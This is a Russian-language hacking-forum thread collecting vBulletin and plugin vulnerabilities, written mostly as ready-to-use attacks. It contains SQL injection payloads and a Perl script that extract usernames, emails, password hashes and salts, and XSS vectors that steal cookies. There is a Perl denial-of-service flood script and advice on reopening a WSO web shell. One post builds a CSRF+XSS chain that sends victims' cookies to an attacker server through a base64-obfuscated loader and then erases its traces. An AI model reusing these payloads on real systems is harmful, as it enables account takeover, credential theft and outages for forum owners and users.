Форумы [Обзор уязвимостей vBulletin]

Discussion in 'Уязвимости CMS/форумов' started by bandera, 19 Aug 2006.

  1. eclipse

    eclipse Member

    Joined:
    19 Dec 2010
    Messages:
    155
    Likes Received:
    74
    Reputations:
    85
    Активная XSS в модуле vBH New Tabs Options

    vBH New Tabs Options - возможность вставки произвольного js кода на все страницы vBulletin 4.x.x

    Уязвимость существует из-за отсутствия фильтрации при добавлении новых вкладок в главное навигационное меню, через указанный модуль.

    Эксплойт, в поле со списком вкладок добавляем:
    Автор: eclipse

    Примечание:
    Чтобы заюзать уязвимость нужно обладать доступом в AdminCP.
     
    #101 eclipse, 5 May 2011
    Last edited: 5 May 2011
    1 person likes this.
  2. FatalitY™

    FatalitY™ New Member

    Joined:
    25 Jan 2010
    Messages:
    48
    Likes Received:
    2
    Reputations:
    0
    Vbulletin 4.0.2
    Уязвимость: XSS.


    Code:
    ================================= Vbulletin 4.0.2 XSS Vulnerability =================================  [+] Vbulletin 4.0.2 XSS Vulnerability  1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 _ __ __ __ 1 1 /' \ __ /'__`\ /\ \__ /'__`\ 0 0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1 1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0 0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1 1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0 0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1 1 \ \____/ >> Exploit database separated by exploit 0 0 \/___/ type (local, remote, DoS, etc.) 1 1 1 0 [+] Site : Inj3ct0r.com 0 1 [+] Support e-mail : submit[at]inj3ct0r.com 1 0 0 1 ###################################### 1 0 I'm 5ubzer0 member from Inj3ct0r Team 1 1 ###################################### 0 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1  [+] Discovered By: 5ubzer0 [+] My id : http://inj3ct0r.com/author/2307 [+] Original : http://inj3ct0r.com/exploits/9697 # Version: Vbulletin 4.0.2  www.site.com/path/search.php?search_type=1&contenttype=vBBlog_BlogEntry&query="><script>alert('xss');</script> www.site.com/path/search.php?search_type=1&contenttype=vBBlog_BlogEntry&query="><script>alert(document.cookie);</script>  Exemple: http://www.forumjogosonline.com.br/search.php?search_type=1&contenttype=vBBlog_BlogEntry&query=%22%3E%3Cscript%3Ealert(document.cookie);%3C /script%3E
     
  3. infraud

    infraud New Member

    Joined:
    20 Dec 2010
    Messages:
    1
    Likes Received:
    1
    Reputations:
    0
    Работает на 4.0.x - 4.1.2, в 4.1.3 - пропатчено.

    http://www.youtube.com/watch?v=fR9RGCqIPkc

    Нужен аддон для ФФ4 - Live HTTP Headers - http://psp-mode.yolasite.com/resources/liveHTTPheadersFF4.xpi

    PHP:
    &cat[0]=1UNION SELECT database()#
    &cat[0]=1UNION SELECT table_name FROM information_schema.tables#
    &cat[0]=1UNION SELECT concat(username,0x3a,email,0x3a,password,0x3a,saltFROM user WHERE userid=1#

    md5(md5($pass).$salt)
     
    1 person likes this.
  4. pharm_all

    pharm_all Member

    Joined:
    10 Sep 2009
    Messages:
    106
    Likes Received:
    7
    Reputations:
    0
    /vb/search/searchtools.php

    Code:
    $id = $vbulletin->db->sql_prepare($id);
    		if (is_array($id))
    		{


    Code:
    function sql_prepare($value)
    	{
    		if (is_string($value))
    		{
    			return "'" . $this->escape_string($value) . "'";
    		}
    		else if (is_numeric($value) AND $value + 0 == $value)
    		{
    			return $value;
    		}
    		else if (is_bool($value))
    		{
    			return $value ? 1 : 0;
    		}
    		else
    		{
    			return "'" . $this->escape_string($value) . "'";
    		}
    	}

    Меняем на это

    Code:
    function sql_prepare($value)
    	{
    		if (is_string($value))
    		{
    			return "'" . $this->escape_string($value) . "'";
    		}
    		else if (is_numeric($value) AND $value + 0 == $value)
    		{
    			return $value;
    		}
    		else if (is_bool($value))
    		{
    			return $value ? 1 : 0;
    		}
    		else if (is_null($value))
    		{
    			return "''";
    		}
    		else if (is_array($value))
    		{
    			foreach ($value as $key => $item)
    			{
    				$value[$key] = $this->sql_prepare($item);
    			}
    			return $value;
    		}
    		else
    		{
    			return "'" . $this->escape_string($value) . "'";
    		}
    	}
    удачи!
     
    1 person likes this.
  5. абвгдешка

    Joined:
    2 May 2011
    Messages:
    48
    Likes Received:
    13
    Reputations:
    1
    Vbulletin 4.0.x => 4.1.3 (messagegroupid) SQL injection Vulnerability 0-day

    Code:
    # Google Dork: intitle: powered by Vbulletin 4
    # Date: 20/07/2011
    # Author: FB1H2S   
    # Software Link: [[url]http://www.vbulletin.com/][/url]
    # Version: [4.x.x]
    # Tested on: [relevant os]
    # CVE : [[url]http://members.vbulletin.com/][/url]
     
    ######################################################################################################
    Vulnerability:
    ######################################################################################################
     
    Vbulletin 4.x.x => 4.1.3 suffers from an SQL injection Vulnerability in parameter "&messagegroupid" due to improper input validation.
     
    #####################################################################################################
    Vulnerable Code:
    #####################################################################################################
     
    File:    /vbforum/search/type/socialgroupmessage.php
    Line No: 388
    Paramater : messagegroupid
     
     
     
             
            if ($registry->GPC_exists['messagegroupid'] AND count($registry->GPC['messagegroupid']) > 0)
     
            {
     
                $value = $registry->GPC['messagegroupid'];
     
                if (!is_array($value))
     
                {
     
                    $value = array($value);
     
                }
     
     
     
                if (!(in_array(' ',$value) OR in_array('',$value)))
     
                {
     
                    if ($rst = $vbulletin->db->query_read("
     
                        SELECT socialgroup.name
     
                        FROM " . TABLE_PREFIX."socialgroup AS socialgroup
     
    --->                 WHERE socialgroup.groupid IN (" . implode(', ', $value) .")")
     
                     
                }
     
     
     
    ############################################################################################
    Exploitation:
    ############################################################################################
    Post data on: -->search.php?search_type=1
              --> Search Single Content Type
     
    Keywords :   Valid Group Message
     
    Search Type : Group Messages
     
    Search in Group : Valid Group Id
     
    &messagegroupid[0]=3 ) UNION SELECT concat(username,0x3a,email,0x3a,password,0x3a,salt) FROM user WHERE userid=1#
     
    ##########################################################################################
    More Details:
    ##########################################################################################
    Http://www.Garage4Hackers.com
    http://www.garage4hackers.com/showthread.php?1177-Vbulletin-4.0.x-gt-4.1.3-(messagegroupid)-SQL-injection-Vulnerability-0-day
     
     
    ###########################################################################################
    Note:
    ###########################################################################################
     
    Funny part was that, a similar bug was found in the same module, search query two months back. Any way Vbulletin has released a patch as it was reported to them by altex, hence
    customers are safe except those lowsy Admins. And this bug is for people to play with the many Nulled VB sites out there. " Say No to Piracy Disclosure ".
     
    2 people like this.
  6. DeleTeeeX

    DeleTeeeX New Member

    Joined:
    19 May 2011
    Messages:
    26
    Likes Received:
    2
    Reputations:
    -1
    cChatBox for vBulletin 3.6.8 and 3.7.x SQL Injection Vulnerability

    Code:
    #!/usr/bin/perl
    use LWP::UserAgent;
    $ua = LWP::UserAgent->new;
    $ua->agent("MyApp/0.1 ");
    print "##################################\n";
    print "############ EXPLOIT #############\n";
    print "##################################\n";
    print "## Portal: cchatbox             ##\n";
    print "## Bug: SQLI                    ##\n";
    print "## Author: DSecurity            ##\n";
    print "## Coder: vv0lll                ##\n";
    print "##################################\n";
         
    print "Use: exploit.pl address number_user sleeptime\n";
    print "Example: exploit.pl http://localhost/vbb 10 10\n";
    if(@ARGV < 2) {exit;}
    print "\n\n================================================\n";
    #Foot print
    print v_request('MySQL version: ','@@version');
    print v_request('Data dir: ','@@datadir');
    print v_request('User: ','user()');
    print v_request('Database: ','database()');
         
    #Get user
    for($i=1;$i<=$ARGV[1];$i++){
        print "-----------------------------------------\n";
        print $id = v_request('ID: ','userid','user','1',$i-1);
        if($id =~ /(ID:)\s(.*)/){
            print v_request('Group: ','usergroupid','user','userid='.$2);
            print v_request('Username: ','username','user','userid='.$2);
            print v_request('Password: ','password','user','userid='.$2);
            print v_request('Salt: ','salt','user','userid='.$2);
            print v_request('Email: ','email','user','userid='.$2);
        }
                 
            }
     
    print $ARVG[0];
    sub v_request{
        #Declare
        $print = $_[0];
        $select = $_[1];
        $from = $_[2];
        $where = $_[3];
        $limit = $_[4];
        $sleep = $ARGV[2];
        if ($from eq '') {$from = 'information_schema.tables';}
        if ($where eq '') {$where = '1';}
        if ($limit eq '') {$limit = '0';}
        if ($sleep eq '') {$sleep = '10';}
         
        # Create a request
        my $req = HTTP::Request->new(POST => $ARGV[0].'/cchatbox.php');
        $req->content_type('application/x-www-form-urlencoded');
        $req->content('do=edit&messageid=0 and (SELECT 1 FROM(SELECT COUNT(*),CONCAT((select '.$select.' from '.$from.' WHERE '.$where.' limit '.$limit.',1),FLOOR(RAND(1)*3))x FROM information_schema.tables GROUP BY x)a)');
     
        # Pass request to the user agent and get a response back
        my $res = $ua->request($req);
        #print $res->content;
        if($res->content =~ /(MySQL Error)(.*?)'(.*?)0'(.*)/)
        {$test = $3};
        sleep($sleep);
        return $print.$test."\n";
    }
     
    #106 DeleTeeeX, 8 Aug 2011
    Last edited: 8 Aug 2011
    1 person likes this.
  7. Expl0ited

    Expl0ited Members of Antichat

    Joined:
    16 Jul 2010
    Messages:
    1,035
    Likes Received:
    534
    Reputations:
    935
    Цитирую 525:
     
    _________________________
  8. -morfiy-

    -morfiy- New Member

    Joined:
    8 Feb 2010
    Messages:
    33
    Likes Received:
    3
    Reputations:
    1
    vBulletin 4.0.0-4.0.2 YaAS (yet another award system) XSS Vulnerability
    Code:
    <!DOCTYPE HTML PUBLIC ‘-//W3C//DTD HTML 4.01 Transitional//EN’><html><head><meta http-equiv=’Content-Type’ content=’text/html; charset=windows-1251′><title>vBulletin 4.0.0-4.0.2 YaAS (yet another award system) XSS Vulnerability</title><link rel=’shortcut icon’ href=’/favicon.ico’ type=’image/x-icon’><link rel=’alternate’ type=’application/rss+xml’ title=’Inj3ct0r RSS’ href=’/rss’></head><body><pre>=======================================================================
    vBulletin 4.0.0-4.0.2 YaAS (yet another award system) XSS Vulnerability
    =======================================================================
    
    # Exploit Title: vBulletin 4.0.0-4.0.2 YaAS 4.0.0 (yet another award system) XSS
    
    # Date: 2010-05-13
    
    # Author: Un-Dead
    
    # Team: eX.ploit ( http://ex.ploit.net )
    
    # Software Link: http://www.vbulletin.org/forum/showthread.php?t=232684&amp;highlight=yet+another+award+system
    
    # Google Dork: inurl: recommend_award.php?award_id=1
    
    # Version: vBulletin 4.0.0 thru 4.0.2 using YaAS v4.0.0 (This has now been updated too 4.0.1 and does not work on the updated version)
    
    # Tested on: Windows XP SP3, KDE3.5 vBulletin with HTML turned off
    
    # Usage: XSS
    
    # Code:
    
    This will only work if the administrator has opted to set the ?recommend this award? to create a new poll somewhere in the forum (admin area is even better for cookie stealing J)
    
    Again this will not work on the latest update of YaAS but it will work on YaAS 4.0.0
    
    Click awards tab, chose recommend this award. In the member name just type something doesent really matter.
    
    In the body put your xss
    
    &lt;script&gt;alert(‘xss’);&lt;/script&gt;
    
    The infected page will be the poll that was created.
    
    If the admin does not have the ?create new poll? enabled this eX.ploit is useless.
    
    # <a href=’http://inj3ct0r.com/’>Inj3ct0r.com</a> [2010-05-13]</pre><script type=’text/javascript’>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src=’" + gaJsHost + "google-analytics.com/ga.js’ type=’text/javascript’%3E%3C/script%3E"));</script><script type=’text/javascript’>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>
    
     
  9. -morfiy-

    -morfiy- New Member

    Joined:
    8 Feb 2010
    Messages:
    33
    Likes Received:
    3
    Reputations:
    1
    vBulletin 4.1.3pl3 / 4.1.4pl3 / 4.1.5pl1 Cross Site Scriptin

    vBulletin 4.1.3pl3 / 4.1.4pl3 / 4.1.5pl1 Cross Site Scriptin

    Posted on 04 August 2011

    *Advisory Information* Title: vBulletin Cross Site Scripting Vulnerability Date published: 02-08-2011 Vendors contacted: vBulletin team *Vulnerability Information* Class: XSS flaw Vulnerable page: Admin Login Page (admincp) Remotely Exploitable: Yes Locally Exploitable: No *Vulnerability Description* vBulletin is a community forum solution for a wide range of users, including industry leading companies. A XSS vulnerability has been discovered that could allow an attacker to carry out an action impersonating a legal user, or to obtain access to a user's account. This flaw allows unauthorized disclosure and modification of information, and it allows disruption of service. *Vulnerable versions* 4.1.3pl3, 4.1.4pl3 & 4.1.5pl1 *Non-vulnerable Packages* . vBulletin prior to 4.1.3 *Vendor Information, Solutions and Workarounds* vBulletin team has released patches for this flaw and patch is released on 02-08-2011. https://www.vbulletin.com/forum/showthread.php/385133-vBulletin-4.1.3-4.1.4-and-4.1.5-Security-Patch *Credits* This vulnerability was discovered by Muhammad Haroon from Innovative Solutions KSA. OWASP Chapter Lead of Pakistan. haroon [at] live [dot] it *Proof of Concept Code* This is a Cross Site Scripting (XSS) vulnerability within vBulletin community forum solution. In order to exploit this flaw following vector would be used. http://www.example.com/forums/admincp/?"><script>alert('Xss_found_By_M.Haroon')</script> *Report Timeline* 30-07-2011: Notifies the vBulletin team about the vulnerability. 31-07-2011: vBulletin Team ask for technical description about the flaw 31-07-2011: Technical Details sent to vbulletin team 02-08-2011: vBulletin notifies that a fix has been produced and is available to the users on 2nd August 2011 03-08-2011: Vulnerability publicly disclosed.
     
  10. -morfiy-

    -morfiy- New Member

    Joined:
    8 Feb 2010
    Messages:
    33
    Likes Received:
    3
    Reputations:
    1
    Если кому нужно, то вот так можно узнать версию форума:
    http://xxxx.xxx/archive/archive.css ну или так:
    http://xxxx.xxx/cpstyles/global.css
    На самом деле вариантов много
     
    #110 -morfiy-, 26 Aug 2011
    Last edited: 26 Aug 2011
    1 person likes this.
  11. TYPUCT

    TYPUCT New Member

    Joined:
    7 Sep 2010
    Messages:
    30
    Likes Received:
    3
    Reputations:
    0
    Проверка на работоспособность.
    Code:
    <!DOCTYPE HTML PUBLIC ‘-//W3C//DTD HTML 4.01 Transitional//EN’><html><head><meta http-equiv=’Content-Type’ content=’text/html; charset=windows-1251′><title>vBulletin 4.0.6 – Danial Of Service Exploit (redhat)</title><link rel=’shortcut icon’ href=’/favicon.ico’ type=’image/x-icon’><link rel=’alternate’ type=’application/rss+xml’ title=’Inj3ct0r RSS’ href=’/rss’></head><body><pre>====================================================
    vBulletin 4.0.6 – Danial Of Service Exploit (redhat)
    ====================================================
    
    ################################################
    Author : KnocKout
    Thanks : DaiMon,BARCOD3
    Contact : [email protected]
    Tested on : redhat
    ##############################################
    ##################vBulletin 4.0.6 – Danial Of Service Exploit for RedHat###############
    
    #!/usr/bin/perl
    
    use IO::Socket;
    
    print &quot;n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+n&quot;;
    print &quot;+ vBulletin 4.0.6 D.O.S Exploit(FOR redhat) +n&quot;;
    print &quot;+ Coded by KnocKout +n&quot;;
    print &quot;+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+nn&quot;;
    print &quot;Host |without http://www.| &quot;;
    chomp($host = &lt;STDIN&gt;);
    print &quot;Path |example. /en or / | &quot;;
    chomp($pth = &lt;STDIN&gt;);
    {
    while($x != 999999)
    {
    $postit = &quot;?t=0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000&quot;;
    $lrg = length $postit;
    my $sock = new IO::Socket::INET (
    PeerAddr =&gt; &quot;$host&quot;,
    PeerPort =&gt; &quot;80&quot;,
    Proto =&gt; &quot;tcp&quot;,
    );
    die &quot;nOffline! – We can not Connect To ‘$host’ it May be DoSedn&quot; unless $sock;
    
    print $sock &quot;POST $pth/showthread.php HTTP/1.1n&quot;;
    print $sock &quot;Host: $hostn&quot;;
    print $sock &quot;Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5n&quot;;
    print $sock &quot;Referer: $hostn&quot;;
    print $sock &quot;Accept-Language: en-usn&quot;;
    print $sock &quot;Content-Type: application/x-www-form-urlencodedn&quot;;
    print $sock &quot;Accept-Encoding: gzip, deflaten&quot;;
    print $sock &quot;User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4n&quot;;
    print $sock &quot;Connection: Keep-Aliven&quot;;
    print $sock &quot;Cache-Control: no-cachen&quot;;
    print $sock &quot;Content-Length: $lrgnn&quot;;
    print $sock &quot;$postitn&quot;;
    close($sock);
    syswrite STDOUT, &quot;Attack Started &quot;;
    $x++;
    }
    }
    
    # <a href=’http://inj3ct0r.com/’>Inj3ct0r.com</a> [2010-09-02]</pre><script type=’text/javascript’>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src=’" + gaJsHost + "google-analytics.com/ga.js’ type=’text/javascript’%3E%3C/script%3E"));</script><script type=’text/javascript’>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>
    http://inj3ct0r.com/exploits/13952
     
  12. WTSBugzoff

    WTSBugzoff New Member

    Joined:
    23 Jun 2011
    Messages:
    59
    Likes Received:
    2
    Reputations:
    0
    Уязвимость пашет на vBulletin 4.x.x

    Заходим, регистрируемся (не всегда обязательно, если поиск без всяких там капч и вопросов от имени гостя проходит, то рега не впёрлась).

    Запускаем лису, плагин liveHTTPHeaders.

    Вбиваем в поле поиска любую лабуду, например "4234234" и жмём enter

    В liveHTTPHeaders редактируем запрос таким вот образом, дописывая это:

    Code:
    humanverify[]=&searchfromtype=vBForum%3ASocialGroupMessage&do=process&contenttypeid=5&categoryid[]=-99) union select password from user where userid=1 and row(1,1)>(select count(*),concat( (select user.password) ,0x3a,floor(rand(0)*2)) x from (select 1 union select 2 union select 3)a group by x limit 1) -- /*
    Отправляем запрос, выйдет ошибка Database error
    Смотрим исходный код, внизу находим хэш, записываем

    Теперь оправляем запрос на вывод соли, вот такой:

    Code:
    humanverify[]=&searchfromtype=vBForum%3ASocialGroupMessage&do=process&contenttypeid=5&categoryid[]=-99) union select salt from user where userid=1 and row(1,1)>(select count(*),concat( (select user.salt) ,0x3a,floor(rand(0)*2)) x from (select 1 union select 2 union select 3)a group by x limit 1) -- /*
    Опять ошибка, опять смотрим исходный код, записываем соль.

    Всё, осталось только расшифровать.

    Иногда таблица не user называется, тогда хэш мы не увидим, а увидим на месте хэша какую-то лабуду, а чуть выше виден будет префикс, вот его и дописываем в наш запрос, и тогда всё бенч будет.
     
  13. Export

    Export Member

    Joined:
    13 Feb 2010
    Messages:
    69
    Likes Received:
    5
    Reputations:
    9
    Итак дорогие друзья хотелось бы поговорить с вами о шеллах в данном форуме. Сейчас вышел патч для форума и при попытке зайти на шелл через модуль вылазить сообщение:
    Code:
    Your submission could not be processed because a security token was missing.
    
    If this occurred unexpectedly, please inform the administrator and describe the action you performed before you received this error.
    Какой-то Forum
    Как решить:
    1.Можно править шелл (использую WSO 2.5)
    2. А можно=> Опера=> форум с шелом=> Исходный код=> После
    Code:
    value='>>'
    всавить
    Code:
    accesskey="r" tabindex="1" 
    => Нажать применить изменеия=> Вуаля! Рабочий шелл!
    ПС может давно известно. Но для меня стало очень актуально и ново данное открыие :D
    ПСС Открыл сам.
     
    1 person likes this.
  14. Uex Urgent

    Uex Urgent Злостный Смайлик

    Joined:
    6 Feb 2009
    Messages:
    236
    Likes Received:
    463
    Reputations:
    452

    Открою секрет: достаточно очистить кукисы админа и шелл нормально открывается :)
     
    _________________________
    3 people like this.
  15. Boolean

    Boolean Elder - Старейшина

    Joined:
    5 Sep 2010
    Messages:
    147
    Likes Received:
    83
    Reputations:
    78
    [3.8.x] Cyb - Advanced Forum Statistics
    [4.0.x] VSa - Advanced Forum Statistics

    c 4 линейки название немного изменилось. :) был помидор, стал томат.

    FULL PATH DISCLOSURE
    (раскрытие путей)
    Possible integer overflow

    3.8.X
    модуль cyb_topstats
    PHP:
    $resultsnr_lp = ($resultsnr 2) + 1;
    4.0.X
    Модуль vsa_topstats
    PHP:
    $vsacb_resnr_lp = ($vsacb_resnr 2) + 1;
    PoC for 3.8.X:
    Code:
    POST /misc.php?do=cybstats HTTP/1.1
    Host: brutezone.ru
    User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:7.0.1) Gecko/20100101 Firefox/7.0.1
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7
    Connection: keep-alive
    Referer: http://brutezone.ru/misc.php?do=cybstats
    Cookie: куки. нужна авторизация.
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 112
    
    securitytoken=1320250782-fda4c39ad1983a01f3b3ce9b94b7350c35099352&resultsnr=999999999999999999999999999999999999
    
    PoC for 4.0.X:
    (на 4.1.X не пробовал.)
    Code:
    POST /misc.php?do=vsastats HTTP/1.1
    Host: www.html.by
    User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:7.0.1) Gecko/20100101 Firefox/7.0.1
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7
    Connection: keep-alive
    Referer: http://www.html.by/misc.php?do=vsastats
    Cookie: куки. нужна авторизация.
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 124
    
    securitytoken=1320251249-9e5b6a09879833baf7af3e58fae882855e302814&vsacb_resnr=5999999999999999999999999999999999999999999999
    
     
    2 people like this.
  16. tabletkO

    tabletkO Banned

    Joined:
    3 Nov 2011
    Messages:
    83
    Likes Received:
    20
    Reputations:
    11
    Простo куки почисти, пройдет)
     
  17. Osstudio

    Osstudio Banned

    Joined:
    17 Apr 2011
    Messages:
    638
    Likes Received:
    160
    Reputations:
    81
    vBulletin <= 4.1.7
    Тип уязвимости: Раскрытие путей.
    Минимальные права: Смена языка.
    Эксплуатация:
    Описание:
    Эта уязвимость помогает злоумышленнику произвести раскрытие путей.

    (c) Osstudio
     
    #117 Osstudio, 11 Dec 2011
    Last edited: 11 Dec 2011
    4 people like this.
  18. justonline

    justonline network ninja

    Joined:
    27 Jul 2011
    Messages:
    499
    Likes Received:
    60
    Reputations:
    53
    Opinion System 1.5.0

    Имеется пассивноактивная? xss... после того, как оставили мнение с js при каждом переходе на страницу с мнением будет выполняться этот код, так как он подгружается в строку редактирования. У других отображен не будет. фильтр спец символов.

    Для использования достаточно сформировать запрос на добавление мнения и редиректнуть его на страничку с мнениями... для отвода глаз

    Дорк
     
    #118 justonline, 25 Dec 2011
    Last edited: 26 Dec 2011
  19. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,581
    Likes Received:
    1,317
    Reputations:
    1,557
    Не все так просто.
    Приведу пример практической эксплуатации бага:

    1. Добавление мнения
    POST-запрос
    opinion.php
    do=postvote&postid=[POSTID]&comment=[COMMENT]&value=0
    Защита от CSRF - проверка домена рефера. Если в заголовке вообще нет рефера, запрос тоже срабатывает.

    a) [POSTID]
    opinion.php?do=about&userid=[USERID]
    Во время атаки код XSS некоторое время будет храниться на стене одного из пользователей.
    Кто именно это будет, не имеет значения ([USERID] - любой существующий пользователь)

    b) Автоматическая отправка запроса
    PHP:
    <body method="POST" onload="csrf.submit();">
    <
    form id="csrf" action="http://site/opinion.php">
    <
    input name="do" value="postvote">
    <
    input name="value" value="0">
    <
    input name="postid" value="[POSTID]">
    <
    input name="comment" value="[COMMENT]">
    </
    form>
    </
    body>
    Для обхода проверки рефера форма шифруется с помощью протокола data (data:text/html;base64,[форма_отправки_запроса])


    2. Отображение мнения на странице
    opinion.php?do=about&userid=[USERID]
    Для выполнения кода можно использовать "autofocus/onfocus="[JS].

    3. Код для проведения атаки
    На странице мнений для удаления есть встроенная JS-функция, она и будет использована для уничтожения следов атаки. После вызова функции удаления страница очищается, чтобы избежать зацикливания onfocus.
    PHP:
    myGate 'http://example.com/?cookie='// сюда отправляются куки
    pBody document.getElementsByTagName('body')[0];
    delFunc = /ChangeText\('do=delete.+?\)/.exec(pBody.innerHTML); // парсим со страницы функцию удаления мнения 
    pBody.innerHTML += '
    <img src="' + myGate + escape(document.cookie) + '"onerror="' + delFunc + ';document.write(\'\')">'; // отправка данных на гейт, удаление мнения, очистка страницы
    Мнения ограничены по длине, поэтому вышеприведенный код необходимо вынести в отдельный скрипт.

    a) убираем все лишнее
    b) шифруем в base64
    Code:
    Zz0naHR0cDovL2V4YW1wbGUuY29tLz9jb29raWU9JztiPWRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCdib2R5JylbMF07Yi5pbm5lckhUTUwrPSc8aW1nIHNyYz0iJytnK2VzY2FwZShkb2N1bWVudC5jb29raWUpKycib25lcnJvcj0iJysvQ2hhbmdlVGV4dFwoJ2RvPWRlbGV0ZS4rP1wpLy5leGVjKGIuaW5uZXJIVE1MKSsnO2RvY3VtZW50LndyaXRlKFwnXCcpIj4nOy8v
    c) помещаем код в короткую ссылку используя протокол data и сервис сокращения tinyurl
    Code:
    http://tinyurl.com/c6opgyk
    d) подключаем скрипт
    PHP:
    newScript document.createElement('script');
    newScript.src 'http://tinyurl.com/c6opgyk';
    document.getElementsByTagName('body')[0].appendChild(newScript);
    e) окончательный вариант комментария

    4. Последовательное выполнение CSRF и XSS
    PHP:
    <script>
    function 
    srcReplace()
    {
        var 
    document.getElementById('ifr');
        
    i.onload '';
        
    i.src 'http://site/opinion.php?do=about&userid=[USERID]';
    }
    </script>
    <iframe id="ifr" onload="setTimeout('srcReplace()', 3000)" style="width:0px;height:0px;visibility:hidden" src="data:text/html;base64,[форма_из_пункта_1b]"></iframe>
    5. Полная автоматизация уязвимости
    [POSTID] действует относительно недолго, поэтому все вышеописанное будет работать только для одной атаки на конкретного пользователя.
    Чтобы полностью все автоматизировать, придется парсить http://site/opinion.php?do=about&userid=[USERID] и динамически генерировать код из пункта 5 на своем сервере, например PHP-скриптом.
    PHP:
    <?php
    if($curl curl_init())
    {
        
    curl_setopt($curlCURLOPT_URL'http://site/opinion.php?do=about&userid=[USERID]');
        
    curl_setopt($curlCURLOPT_COOKIEFILE'cookie.txt'); // страница видна только авторизованному пользователю
        
    curl_setopt($curlCURLOPT_RETURNTRANSFERtrue);
        
    $res curl_exec($curl);
        
    curl_close($curl);

        
    preg_match("/name=\\\"postid\\\" value=\\\"(.+?)\\\"/"$res$postid);
        
    $form str_replace('[POSTID]'$postid[1], file_get_contents('form.txt')); // form.txt - шаблон формы (п. 1b)
        
    $page str_replace('[FORMDATA]'base64_encode($form), file_get_contents('page.txt')); // page.txt - шаблон страницы (п. 4)
        
        
    echo $page;
    }
    ?>
    p.s.:
    Заставить все это работать кроссбраузерно - задача тоже относительно непростая.
    Описывать специфику работы различных браузеров с data и другие варианты скрытия реферера здесь не буду, потому что получится слишком много инфы для одного оффтопного сообщения.
     
    8 people like this.
  20. justonline

    justonline network ninja

    Joined:
    27 Jul 2011
    Messages:
    499
    Likes Received:
    60
    Reputations:
    53
    мои комплименты. хорошая пища для повышения качества своих знаний, спасибо :)